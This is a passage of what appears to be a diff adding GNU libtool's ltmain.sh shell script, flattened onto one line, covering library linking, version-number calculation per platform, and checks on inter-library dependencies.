major=`expr $current - $age` + versuffix="-$major" + ;; + esac + eval soname=\"$soname_spec\" + else + soname="$realname" + fi + + # Make a new name for the extract_expsyms_cmds to use + soroot="$soname" + soname=`$echo $soroot | ${SED} -e 's/^.*\///'` + newlib="libimp-`$echo $soname | ${SED} 's/^lib//;s/\.dll$//'`.a" + + # If the library has no export list, then create one now + if test -f "$output_objdir/$soname-def"; then : + else + $show "extracting exported symbol list from \`$soname'" + save_ifs="$IFS"; IFS='~' + cmds=$extract_expsyms_cmds + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + + # Create $newlib + if test -f "$output_objdir/$newlib"; then :; else + $show "generating import library for \`$soname'" + save_ifs="$IFS"; IFS='~' + cmds=$old_archive_from_expsyms_cmds + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + # make sure the library variables are pointing to the new library + dir=$output_objdir + linklib=$newlib + fi # test -n "$old_archive_from_expsyms_cmds" + + if test "$linkmode" = prog || test "$mode" != relink; then + add_shlibpath= + add_dir= + add= + lib_linked=yes + case $hardcode_action in + immediate | unsupported) + if test "$hardcode_direct" = no; then + add="$dir/$linklib" + case $host in + *-*-sco3.2v5* ) add_dir="-L$dir" ;; + *-*-darwin* ) + # if the lib is a module then we can not link against + # it, someone is ignoring the new warnings I added + if /usr/bin/file -L $add 2> /dev/null | $EGREP "bundle" >/dev/null ; then + $echo "** Warning, lib $linklib is a module, not a shared library" + if test -z "$old_library" ; then + $echo + $echo "** And there doesn't seem to be a static archive available" + $echo "** The link will probably fail, sorry" + else + add="$dir/$old_library" + fi + fi + esac + elif test "$hardcode_minus_L" = no; then + case $host in + *-*-sunos*) add_shlibpath="$dir" ;; + esac + add_dir="-L$dir" + add="-l$name" + elif test "$hardcode_shlibpath_var" = no; then + add_shlibpath="$dir" + add="-l$name" + else + lib_linked=no + fi + ;; + relink) + if test "$hardcode_direct" = yes; then + add="$dir/$linklib" + elif test "$hardcode_minus_L" = yes; then + add_dir="-L$dir" + # Try looking first in the location we're being installed to. + if test -n "$inst_prefix_dir"; then + case "$libdir" in + [\\/]*) + add_dir="$add_dir -L$inst_prefix_dir$libdir" + ;; + esac + fi + add="-l$name" + elif test "$hardcode_shlibpath_var" = yes; then + add_shlibpath="$dir" + add="-l$name" + else + lib_linked=no + fi + ;; + *) lib_linked=no ;; + esac + + if test "$lib_linked" != yes; then + $echo "$modename: configuration error: unsupported hardcode properties" + exit $EXIT_FAILURE + fi + + if test -n "$add_shlibpath"; then + case :$compile_shlibpath: in + *":$add_shlibpath:"*) ;; + *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;; + esac + fi + if test "$linkmode" = prog; then + test -n "$add_dir" && compile_deplibs="$add_dir $compile_deplibs" + test -n "$add" && compile_deplibs="$add $compile_deplibs" + else + test -n "$add_dir" && deplibs="$add_dir $deplibs" + test -n "$add" && deplibs="$add $deplibs" + if test "$hardcode_direct" != yes && \ + test "$hardcode_minus_L" != yes && \ + test "$hardcode_shlibpath_var" = yes; then + case :$finalize_shlibpath: in + *":$libdir:"*) ;; + *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;; + esac + fi + fi + fi + + if test "$linkmode" = prog || test "$mode" = relink; then + add_shlibpath= + add_dir= + add= + # Finalize command for both is simple: just hardcode it. + if test "$hardcode_direct" = yes; then + add="$libdir/$linklib" + elif test "$hardcode_minus_L" = yes; then + add_dir="-L$libdir" + add="-l$name" + elif test "$hardcode_shlibpath_var" = yes; then + case :$finalize_shlibpath: in + *":$libdir:"*) ;; + *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;; + esac + add="-l$name" + elif test "$hardcode_automatic" = yes; then + if test -n "$inst_prefix_dir" && + test -f "$inst_prefix_dir$libdir/$linklib" ; then + add="$inst_prefix_dir$libdir/$linklib" + else + add="$libdir/$linklib" + fi + else + # We cannot seem to hardcode it, guess we'll fake it. + add_dir="-L$libdir" + # Try looking first in the location we're being installed to. + if test -n "$inst_prefix_dir"; then + case "$libdir" in + [\\/]*) + add_dir="$add_dir -L$inst_prefix_dir$libdir" + ;; + esac + fi + add="-l$name" + fi + + if test "$linkmode" = prog; then + test -n "$add_dir" && finalize_deplibs="$add_dir $finalize_deplibs" + test -n "$add" && finalize_deplibs="$add $finalize_deplibs" + else + test -n "$add_dir" && deplibs="$add_dir $deplibs" + test -n "$add" && deplibs="$add $deplibs" + fi + fi + elif test "$linkmode" = prog; then + # Here we assume that one of hardcode_direct or hardcode_minus_L + # is not unsupported. This is valid on all known static and + # shared platforms. + if test "$hardcode_direct" != unsupported; then + test -n "$old_library" && linklib="$old_library" + compile_deplibs="$dir/$linklib $compile_deplibs" + finalize_deplibs="$dir/$linklib $finalize_deplibs" + else + compile_deplibs="-l$name -L$dir $compile_deplibs" + finalize_deplibs="-l$name -L$dir $finalize_deplibs" + fi + elif test "$build_libtool_libs" = yes; then + # Not a shared library + if test "$deplibs_check_method" != pass_all; then + # We're trying link a shared library against a static one + # but the system doesn't support it. + + # Just print a warning and add the library to dependency_libs so + # that the program can be linked against the static library. + $echo + $echo "*** Warning: This system can not link to static lib archive $lib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have." + if test "$module" = yes; then + $echo "*** But as you try to build a module library, libtool will still create " + $echo "*** a static module, that should work as long as the dlopening application" + $echo "*** is linked with the -dlopen flag to resolve symbols at runtime." + if test -z "$global_symbol_pipe"; then + $echo + $echo "*** However, this would only work if libtool was able to extract symbol" + $echo "*** lists from a program, using \`nm' or equivalent, but libtool could" + $echo "*** not find such a program. So, this module is probably useless." + $echo "*** \`nm' from GNU binutils and a full rebuild may help." + fi + if test "$build_old_libs" = no; then + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + fi + else + convenience="$convenience $dir/$old_library" + old_convenience="$old_convenience $dir/$old_library" + deplibs="$dir/$old_library $deplibs" + link_static=yes + fi + fi # link shared/static library? + + if test "$linkmode" = lib; then + if test -n "$dependency_libs" && + { test "$hardcode_into_libs" != yes || + test "$build_old_libs" = yes || + test "$link_static" = yes; }; then + # Extract -R from dependency_libs + temp_deplibs= + for libdir in $dependency_libs; do + case $libdir in + -R*) temp_xrpath=`$echo "X$libdir" | $Xsed -e 's/^-R//'` + case " $xrpath " in + *" $temp_xrpath "*) ;; + *) xrpath="$xrpath $temp_xrpath";; + esac;; + *) temp_deplibs="$temp_deplibs $libdir";; + esac + done + dependency_libs="$temp_deplibs" + fi + + newlib_search_path="$newlib_search_path $absdir" + # Link against this library + test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs" + # ... and its dependency_libs + tmp_libs= + for deplib in $dependency_libs; do + newdependency_libs="$deplib $newdependency_libs" + if test "X$duplicate_deps" = "Xyes" ; then + case "$tmp_libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + tmp_libs="$tmp_libs $deplib" + done + + if test "$link_all_deplibs" != no; then + # Add the search paths of all dependency libraries + for deplib in $dependency_libs; do + case $deplib in + -L*) path="$deplib" ;; + *.la) + dir=`$echo "X$deplib" | $Xsed -e 's%/[^/]*$%%'` + test "X$dir" = "X$deplib" && dir="." + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;; + *) + absdir=`cd "$dir" && pwd` + if test -z "$absdir"; then + $echo "$modename: warning: cannot determine absolute directory name of \`$dir'" 1>&2 + absdir="$dir" + fi + ;; + esac + if grep "^installed=no" $deplib > /dev/null; then + path="$absdir/$objdir" + else + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` + if test -z "$libdir"; then + $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + if test "$absdir" != "$libdir"; then + $echo "$modename: warning: \`$deplib' seems to be moved" 1>&2 + fi + path="$absdir" + fi + depdepl= + case $host in + *-*-darwin*) + # we do not want to link against static libs, + # but need to link against shared + eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib` + if test -n "$deplibrary_names" ; then + for tmp in $deplibrary_names ; do + depdepl=$tmp + done + if test -f "$path/$depdepl" ; then + depdepl="$path/$depdepl" + fi + # do not add paths which are already there + case " $newlib_search_path " in + *" $path "*) ;; + *) newlib_search_path="$newlib_search_path $path";; + esac + fi + path="" + ;; + *) + path="-L$path" + ;; + esac + ;; + -l*) + case $host in + *-*-darwin*) + # Again, we only want to link against shared libraries + eval tmp_libs=`$echo "X$deplib" | $Xsed -e "s,^\-l,,"` + for tmp in $newlib_search_path ; do + if test -f "$tmp/lib$tmp_libs.dylib" ; then + eval depdepl="$tmp/lib$tmp_libs.dylib" + break + fi + done + path="" + ;; + *) continue ;; + esac + ;; + *) continue ;; + esac + case " $deplibs " in + *" $depdepl "*) ;; + *) deplibs="$depdepl $deplibs" ;; + esac + case " $deplibs " in + *" $path "*) ;; + *) deplibs="$deplibs $path" ;; + esac + done + fi # link_all_deplibs != no + fi # linkmode = lib + done # for deplib in $libs + dependency_libs="$newdependency_libs" + if test "$pass" = dlpreopen; then + # Link the dlpreopened libraries before other libraries + for deplib in $save_deplibs; do + deplibs="$deplib $deplibs" + done + fi + if test "$pass" != dlopen; then + if test "$pass" != conv; then + # Make sure lib_search_path contains only unique directories. + lib_search_path= + for dir in $newlib_search_path; do + case "$lib_search_path " in + *" $dir "*) ;; + *) lib_search_path="$lib_search_path $dir" ;; + esac + done + newlib_search_path= + fi + + if test "$linkmode,$pass" != "prog,link"; then + vars="deplibs" + else + vars="compile_deplibs finalize_deplibs" + fi + for var in $vars dependency_libs; do + # Add libraries to $var in reverse order + eval tmp_libs=\"\$$var\" + new_libs= + for deplib in $tmp_libs; do + # FIXME: Pedantically, this is the right thing to do, so + # that some nasty dependency loop isn't accidentally + # broken: + #new_libs="$deplib $new_libs" + # Pragmatically, this seems to cause very few problems in + # practice: + case $deplib in + -L*) new_libs="$deplib $new_libs" ;; + -R*) ;; + *) + # And here is the reason: when a library appears more + # than once as an explicit dependence of a library, or + # is implicitly linked in more than once by the + # compiler, it is considered special, and multiple + # occurrences thereof are not removed. Compare this + # with having the same library being listed as a + # dependency of multiple other libraries: in this case, + # we know (pedantically, we assume) the library does not + # need to be listed more than once, so we keep only the + # last copy. This is not always right, but it is rare + # enough that we require users that really mean to play + # such unportable linking tricks to link the library + # using -Wl,-lname, so that libtool does not consider it + # for duplicate removal. + case " $specialdeplibs " in + *" $deplib "*) new_libs="$deplib $new_libs" ;; + *) + case " $new_libs " in + *" $deplib "*) ;; + *) new_libs="$deplib $new_libs" ;; + esac + ;; + esac + ;; + esac + done + tmp_libs= + for deplib in $new_libs; do + case $deplib in + -L*) + case " $tmp_libs " in + *" $deplib "*) ;; + *) tmp_libs="$tmp_libs $deplib" ;; + esac + ;; + *) tmp_libs="$tmp_libs $deplib" ;; + esac + done + eval $var=\"$tmp_libs\" + done # for var + fi + # Last step: remove runtime libs from dependency_libs + # (they stay in deplibs) + tmp_libs= + for i in $dependency_libs ; do + case " $predeps $postdeps $compiler_lib_search_path " in + *" $i "*) + i="" + ;; + esac + if test -n "$i" ; then + tmp_libs="$tmp_libs $i" + fi + done + dependency_libs=$tmp_libs + done # for pass + if test "$linkmode" = prog; then + dlfiles="$newdlfiles" + dlprefiles="$newdlprefiles" + fi + + case $linkmode in + oldlib) + if test -n "$deplibs"; then + $echo "$modename: warning: \`-l' and \`-L' are ignored for archives" 1>&2 + fi + + if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then + $echo "$modename: warning: \`-dlopen' is ignored for archives" 1>&2 + fi + + if test -n "$rpath"; then + $echo "$modename: warning: \`-rpath' is ignored for archives" 1>&2 + fi + + if test -n "$xrpath"; then + $echo "$modename: warning: \`-R' is ignored for archives" 1>&2 + fi + + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info/-version-number' is ignored for archives" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for archives" 1>&2 + fi + + if test -n "$export_symbols" || test -n "$export_symbols_regex"; then + $echo "$modename: warning: \`-export-symbols' is ignored for archives" 1>&2 + fi + + # Now set the variables for building old libraries. + build_libtool_libs=no + oldlibs="$output" + objs="$objs$old_deplibs" + ;; + + lib) + # Make sure we only generate libraries of the form `libNAME.la'. + case $outputname in + lib*) + name=`$echo "X$outputname" | $Xsed -e 's/\.la$//' -e 's/^lib//'` + eval shared_ext=\"$shrext_cmds\" + eval libname=\"$libname_spec\" + ;; + *) + if test "$module" = no; then + $echo "$modename: libtool library \`$output' must begin with \`lib'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + if test "$need_lib_prefix" != no; then + # Add the "lib" prefix for modules if required + name=`$echo "X$outputname" | $Xsed -e 's/\.la$//'` + eval shared_ext=\"$shrext_cmds\" + eval libname=\"$libname_spec\" + else + libname=`$echo "X$outputname" | $Xsed -e 's/\.la$//'` + fi + ;; + esac + + if test -n "$objs"; then + if test "$deplibs_check_method" != pass_all; then + $echo "$modename: cannot build libtool library \`$output' from non-libtool objects on this host:$objs" 2>&1 + exit $EXIT_FAILURE + else + $echo + $echo "*** Warning: Linking the shared library $output against the non-libtool" + $echo "*** objects $objs is not portable!" + libobjs="$libobjs $objs" + fi + fi + + if test "$dlself" != no; then + $echo "$modename: warning: \`-dlopen self' is ignored for libtool libraries" 1>&2 + fi + + set dummy $rpath + if test "$#" -gt 2; then + $echo "$modename: warning: ignoring multiple \`-rpath's for a libtool library" 1>&2 + fi + install_libdir="$2" + + oldlibs= + if test -z "$rpath"; then + if test "$build_libtool_libs" = yes; then + # Building a libtool convenience library. + # Some compilers have problems with a `.al' extension so + # convenience libraries should have the same extension an + # archive normally would. + oldlibs="$output_objdir/$libname.$libext $oldlibs" + build_libtool_libs=convenience + build_old_libs=yes + fi + + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info/-version-number' is ignored for convenience libraries" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for convenience libraries" 1>&2 + fi + else + + # Parse the version information argument. + save_ifs="$IFS"; IFS=':' + set dummy $vinfo 0 0 0 + IFS="$save_ifs" + + if test -n "$8"; then + $echo "$modename: too many parameters to \`-version-info'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # convert absolute version numbers to libtool ages + # this retains compatibility with .la files and attempts + # to make the code below a bit more comprehensible + + case $vinfo_number in + yes) + number_major="$2" + number_minor="$3" + number_revision="$4" + # + # There are really only two kinds -- those that + # use the current revision as the major version + # and those that subtract age and use age as + # a minor version. But, then there is irix + # which has an extra 1 added just for fun + # + case $version_type in + darwin|linux|osf|windows) + current=`expr $number_major + $number_minor` + age="$number_minor" + revision="$number_revision" + ;; + freebsd-aout|freebsd-elf|sunos) + current="$number_major" + revision="$number_minor" + age="0" + ;; + irix|nonstopux) + current=`expr $number_major + $number_minor - 1` + age="$number_minor" + revision="$number_minor" + ;; + esac + ;; + no) + current="$2" + revision="$3" + age="$4" + ;; + esac + + # Check that each of the things are valid numbers. + case $current in + 0 | [1-9] | [1-9][0-9] | [1-9][0-9][0-9]) ;; + *) + $echo "$modename: CURRENT \`$current' is not a nonnegative integer" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + case $revision in + 0 | [1-9] | [1-9][0-9] | [1-9][0-9][0-9]) ;; + *) + $echo "$modename: REVISION \`$revision' is not a nonnegative integer" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + case $age in + 0 | [1-9] | [1-9][0-9] | [1-9][0-9][0-9]) ;; + *) + $echo "$modename: AGE \`$age' is not a nonnegative integer" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + if test "$age" -gt "$current"; then + $echo "$modename: AGE \`$age' is greater than the current interface number \`$current'" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + fi + + # Calculate the version variables. + major= + versuffix= + verstring= + case $version_type in + none) ;; + + darwin) + # Like Linux, but with the current version available in + # verstring for coding it into the library header + major=.`expr $current - $age` + versuffix="$major.$age.$revision" + # Darwin ld doesn't like 0 for these options... + minor_current=`expr $current + 1` + verstring="${wl}-compatibility_version ${wl}$minor_current ${wl}-current_version ${wl}$minor_current.$revision" + ;; + + freebsd-aout) + major=".$current" + versuffix=".$current.$revision"; + ;; + + freebsd-elf) + major=".$current" + versuffix=".$current"; + ;; + + irix | nonstopux) + major=`expr $current - $age + 1` + + case $version_type in + nonstopux) verstring_prefix=nonstopux ;; + *) verstring_prefix=sgi ;; + esac + verstring="$verstring_prefix$major.$revision" + + # Add in all the interfaces that we are compatible with. + loop=$revision + while test "$loop" -ne 0; do + iface=`expr $revision - $loop` + loop=`expr $loop - 1` + verstring="$verstring_prefix$major.$iface:$verstring" + done + + # Before this point, $major must not contain `.'. + major=.$major + versuffix="$major.$revision" + ;; + + linux) + major=.`expr $current - $age` + versuffix="$major.$age.$revision" + ;; + + osf) + major=.`expr $current - $age` + versuffix=".$current.$age.$revision" + verstring="$current.$age.$revision" + + # Add in all the interfaces that we are compatible with. + loop=$age + while test "$loop" -ne 0; do + iface=`expr $current - $loop` + loop=`expr $loop - 1` + verstring="$verstring:${iface}.0" + done + + # Make executables depend on our current version. + verstring="$verstring:${current}.0" + ;; + + sunos) + major=".$current" + versuffix=".$current.$revision" + ;; + + windows) + # Use '-' rather than '.', since we only want one + # extension on DOS 8.3 filesystems. + major=`expr $current - $age` + versuffix="-$major" + ;; + + *) + $echo "$modename: unknown library version type \`$version_type'" 1>&2 + $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2 + exit $EXIT_FAILURE + ;; + esac + + # Clear the version info if we defaulted, and they specified a release. + if test -z "$vinfo" && test -n "$release"; then + major= + case $version_type in + darwin) + # we can't check for "0.0" in archive_cmds due to quoting + # problems, so we reset it completely + verstring= + ;; + *) + verstring="0.0" + ;; + esac + if test "$need_version" = no; then + versuffix= + else + versuffix=".0.0" + fi + fi + + # Remove version info from name if versioning should be avoided + if test "$avoid_version" = yes && test "$need_version" = no; then + major= + versuffix= + verstring="" + fi + + # Check to see if the archive will have undefined symbols. + if test "$allow_undefined" = yes; then + if test "$allow_undefined_flag" = unsupported; then + $echo "$modename: warning: undefined symbols not allowed in $host shared libraries" 1>&2 + build_libtool_libs=no + build_old_libs=yes + fi + else + # Don't allow undefined symbols. + allow_undefined_flag="$no_undefined_flag" + fi + fi + + if test "$mode" != relink; then + # Remove our outputs, but don't remove object files since they + # may have been created when compiling PIC objects. + removelist= + tempremovelist=`$echo "$output_objdir/*"` + for p in $tempremovelist; do + case $p in + *.$objext) + ;; + $output_objdir/$outputname | $output_objdir/$libname.* | $output_objdir/${libname}${release}.*) + if test "X$precious_files_regex" != "X"; then + if echo $p | $EGREP -e "$precious_files_regex" >/dev/null 2>&1 + then + continue + fi + fi + removelist="$removelist $p" + ;; + *) ;; + esac + done + if test -n "$removelist"; then + $show "${rm}r $removelist" + $run ${rm}r $removelist + fi + fi + + # Now set the variables for building old libraries. + if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then + oldlibs="$oldlibs $output_objdir/$libname.$libext" + + # Transform .lo files to .o files. + oldobjs="$objs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}'$/d' -e "$lo2o" | $NL2SP` + fi + + # Eliminate all temporary directories. + for path in $notinst_path; do + lib_search_path=`$echo "$lib_search_path " | ${SED} -e 's% $path % %g'` + deplibs=`$echo "$deplibs " | ${SED} -e 's% -L$path % %g'` + dependency_libs=`$echo "$dependency_libs " | ${SED} -e 's% -L$path % %g'` + done + + if test -n "$xrpath"; then + # If the user specified any rpath flags, then add them. + temp_xrpath= + for libdir in $xrpath; do + temp_xrpath="$temp_xrpath -R$libdir" + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" ;; + esac + done + if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then + dependency_libs="$temp_xrpath $dependency_libs" + fi + fi + + # Make sure dlfiles contains only unique files that won't be dlpreopened + old_dlfiles="$dlfiles" + dlfiles= + for lib in $old_dlfiles; do + case " $dlprefiles $dlfiles " in + *" $lib "*) ;; + *) dlfiles="$dlfiles $lib" ;; + esac + done + + # Make sure dlprefiles contains only unique files + old_dlprefiles="$dlprefiles" + dlprefiles= + for lib in $old_dlprefiles; do + case "$dlprefiles " in + *" $lib "*) ;; + *) dlprefiles="$dlprefiles $lib" ;; + esac + done + + if test "$build_libtool_libs" = yes; then + if test -n "$rpath"; then + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos*) + # these systems don't actually have a c library (as such)! + ;; + *-*-rhapsody* | *-*-darwin1.[012]) + # Rhapsody C library is in the System framework + deplibs="$deplibs -framework System" + ;; + *-*-netbsd*) + # Don't link with libc until the a.out ld.so is fixed. + ;; + *-*-openbsd* | *-*-freebsd*) + # Do not include libc due to us having libc/libc_r. + test "X$arg" = "X-lc" && continue + ;; + *) + # Add libc to deplibs on all other systems if necessary. + if test "$build_libtool_need_lc" = "yes"; then + deplibs="$deplibs -lc" + fi + ;; + esac + fi + + # Transform deplibs into only deplibs that can be linked in shared. + name_save=$name + libname_save=$libname + release_save=$release + versuffix_save=$versuffix + major_save=$major + # I'm not sure if I'm treating the release correctly. I think + # release should show up in the -l (ie -lgmp5) so we don't want to + # add it in twice. Is that correct? + release="" + versuffix="" + major="" + newdeplibs= + droppeddeps=no + case $deplibs_check_method in + pass_all) + # Don't check for shared/static. Everything works. + # This might be a little naive. We might want to check + # whether the library exists or not. But this is on + # osf3 & osf4 and I'm not really sure... Just + # implementing what was already the behavior. + newdeplibs=$deplibs + ;; + test_compile) + # This code stresses the "libraries are programs" paradigm to its + # limits. Maybe even breaks it. We compile a program, linking it + # against the deplibs as a proxy for the library. Then we can check + # whether they linked in statically or dynamically with ldd. + $rm conftest.c + cat > conftest.c <<EOF + int main() { return 0; } +EOF + $rm conftest + $LTCC -o conftest conftest.c $deplibs + if test "$?" -eq 0 ; then + ldd_output=`ldd conftest` + for i in $deplibs; do + name="`expr $i : '-l\(.*\)'`" + # If $name is empty we are operating on a -L argument. + if test "$name" != "" && test "$name" -ne "0"; then + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + case " $predeps $postdeps " in + *" $i "*) + newdeplibs="$newdeplibs $i" + i="" + ;; + esac + fi + if test -n "$i" ; then + libname=`eval \\$echo \"$libname_spec\"` + deplib_matches=`eval \\$echo \"$library_names_spec\"` + set dummy $deplib_matches + deplib_match=$2 + if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then + newdeplibs="$newdeplibs $i" + else + droppeddeps=yes + $echo + $echo "*** Warning: dynamic linker does not accept needed library $i." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which I believe you do not have" + $echo "*** because a test_compile did reveal that the linker did not use it for" + $echo "*** its dynamic dependency list that programs get resolved with at runtime." + fi + fi + else + newdeplibs="$newdeplibs $i" + fi + done + else + # Error occurred in the first compile. Let's try to salvage + # the situation: Compile a separate program for each library. + for i in $deplibs; do + name="`expr $i : '-l\(.*\)'`" + # If $name is empty we are operating on a -L argument. + if test "$name" != "" && test "$name" != "0"; then + $rm conftest + $LTCC -o conftest conftest.c $i + # Did it work? + if test "$?" -eq 0 ; then + ldd_output=`ldd conftest` + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + case " $predeps $postdeps " in + *" $i "*) + newdeplibs="$newdeplibs $i" + i="" + ;; + esac + fi + if test -n "$i" ; then + libname=`eval \\$echo \"$libname_spec\"` + deplib_matches=`eval \\$echo \"$library_names_spec\"` + set dummy $deplib_matches + deplib_match=$2 + if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then + newdeplibs="$newdeplibs $i" + else + droppeddeps=yes + $echo + $echo "*** Warning: dynamic linker does not accept needed library $i." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because a test_compile did reveal that the linker did not use this one" + $echo "*** as a dynamic dependency that programs can get resolved with at runtime." + fi + fi + else + droppeddeps=yes + $echo + $echo "*** Warning! Library $i is needed by this library but I was not able to" + $echo "*** make it link in! You will probably need to install it or some" + $echo "*** library that it depends on before this library will be fully" + $echo "*** functional. Installing it before continuing would be even better." + fi + else + newdeplibs="$newdeplibs $i" + fi + done + fi + ;; + file_magic*) + set dummy $deplibs_check_method + file_magic_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"` + for a_deplib in $deplibs; do + name="`expr $a_deplib : '-l\(.*\)'`" + # If $name is empty we are operating on a -L argument. + if test "$name" != "" && test "$name" != "0"; then + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + case " $predeps $postdeps " in + *" $a_deplib "*) + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + ;; + esac + fi + if test -n "$a_deplib" ; then + libname=`eval \\$echo \"$libname_spec\"` + for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do + potential_libs=`ls $i/$libname[.-]* 2>/dev/null` + for potent_lib in $potential_libs; do + # Follow soft links. + if ls -lLd "$potent_lib" 2>/dev/null \ + | grep " -> " >/dev/null; then + continue + fi + # The statement above tries to avoid entering an + # endless loop below, in case of cyclic links. + # We might still enter an endless loop, since a link + # loop can be closed while we follow links, + # but so what? + potlib="$potent_lib" + while test -h "$potlib" 2>/dev/null; do + potliblink=`ls -ld $potlib | ${SED} 's/.* -> //'` + case $potliblink in + [\\/]* | [A-Za-z]:[\\/]*) potlib="$potliblink";; + *) potlib=`$echo "X$potlib" | $Xsed -e 's,[^/]*$,,'`"$potliblink";; + esac + done + if eval $file_magic_cmd \"\$potlib\" 2>/dev/null \ + | ${SED} 10q \ + | $EGREP "$file_magic_regex" > /dev/null; then + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + break 2 + fi + done + done + fi + if test -n "$a_deplib" ; then + droppeddeps=yes + $echo + $echo "*** Warning: linker path does not have real file for library $a_deplib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because I did check the linker path looking for a file starting" + if test -z "$potlib" ; then + $echo "*** with $libname but no candidates were found. (...for file magic test)" + else + $echo "*** with $libname and none of the candidates passed a file format test" + $echo "*** using a file magic. Last file checked: $potlib" + fi + fi + else + # Add a -L argument. + newdeplibs="$newdeplibs $a_deplib" + fi + done # Gone through all deplibs. + ;; + match_pattern*) + set dummy $deplibs_check_method + match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"` + for a_deplib in $deplibs; do + name="`expr $a_deplib : '-l\(.*\)'`" + # If $name is empty we are operating on a -L argument. + if test -n "$name" && test "$name" != "0"; then + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + case " $predeps $postdeps " in + *" $a_deplib "*) + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + ;; + esac + fi + if test -n "$a_deplib" ; then + libname=`eval \\$echo \"$libname_spec\"` + for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do + potential_libs=`ls $i/$libname[.-]* 2>/dev/null` + for potent_lib in $potential_libs; do + potlib="$potent_lib" # see symlink-check above in file_magic test + if eval $echo \"$potent_lib\" 2>/dev/null \ + | ${SED} 10q \ + | $EGREP "$match_pattern_regex" > /dev/null; then + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + break 2 + fi + done + done + fi + if test -n "$a_deplib" ; then + droppeddeps=yes + $echo + $echo "*** Warning: linker path does not have real file for library $a_deplib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because I did check the linker path looking for a file starting" + if test -z "$potlib" ; then + $echo "*** with $libname but no candidates were found. (...for regex pattern test)" + else + $echo "*** with $libname and none of the candidates passed a file format test" + $echo "*** using a regex pattern. Last file checked: $potlib" + fi + fi + else + # Add a -L argument. + newdeplibs="$newdeplibs $a_deplib" + fi + done # Gone through all deplibs. + ;; + none | unknown | *) + newdeplibs="" + tmp_deplibs=`$echo "X $deplibs" | $Xsed -e 's/ -lc$//' \ + -e 's/ -[LR][^ ]*//g'` + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + for i in $predeps $postdeps ; do + # can't use Xsed below, because $i might contain '/' + tmp_deplibs=`$echo "X $tmp_deplibs" | ${SED} -e "1s,^X,," -e "s,$i,,"` + done + fi + if $echo "X $tmp_deplibs" | $Xsed -e 's/[ ]//g' \ + | grep . >/dev/null; then + $echo + if test "X$deplibs_check_method" = "Xnone"; then + $echo "*** Warning: inter-library dependencies are not supported in this platform." + else + $echo "*** Warning: inter-library dependencies are not known to be supported." + fi + $echo "*** All declared inter-library dependencies are being dropped." + droppeddeps=yes + fi + ;; + esac + versuffix=$versuffix_save + major=$major_save + release=$release_save + libname=$libname_save + name=$name_save + + case $host in + *-*-rhapsody* | *-*-darwin1.[012]) + # On Rhapsody replace the C library is the System framework + newdeplibs=`$echo "X $newdeplibs" | $Xsed -e 's/ -lc / -framework System /'` + ;; + esac + + if test "$droppeddeps" = yes; then + if test "$module" 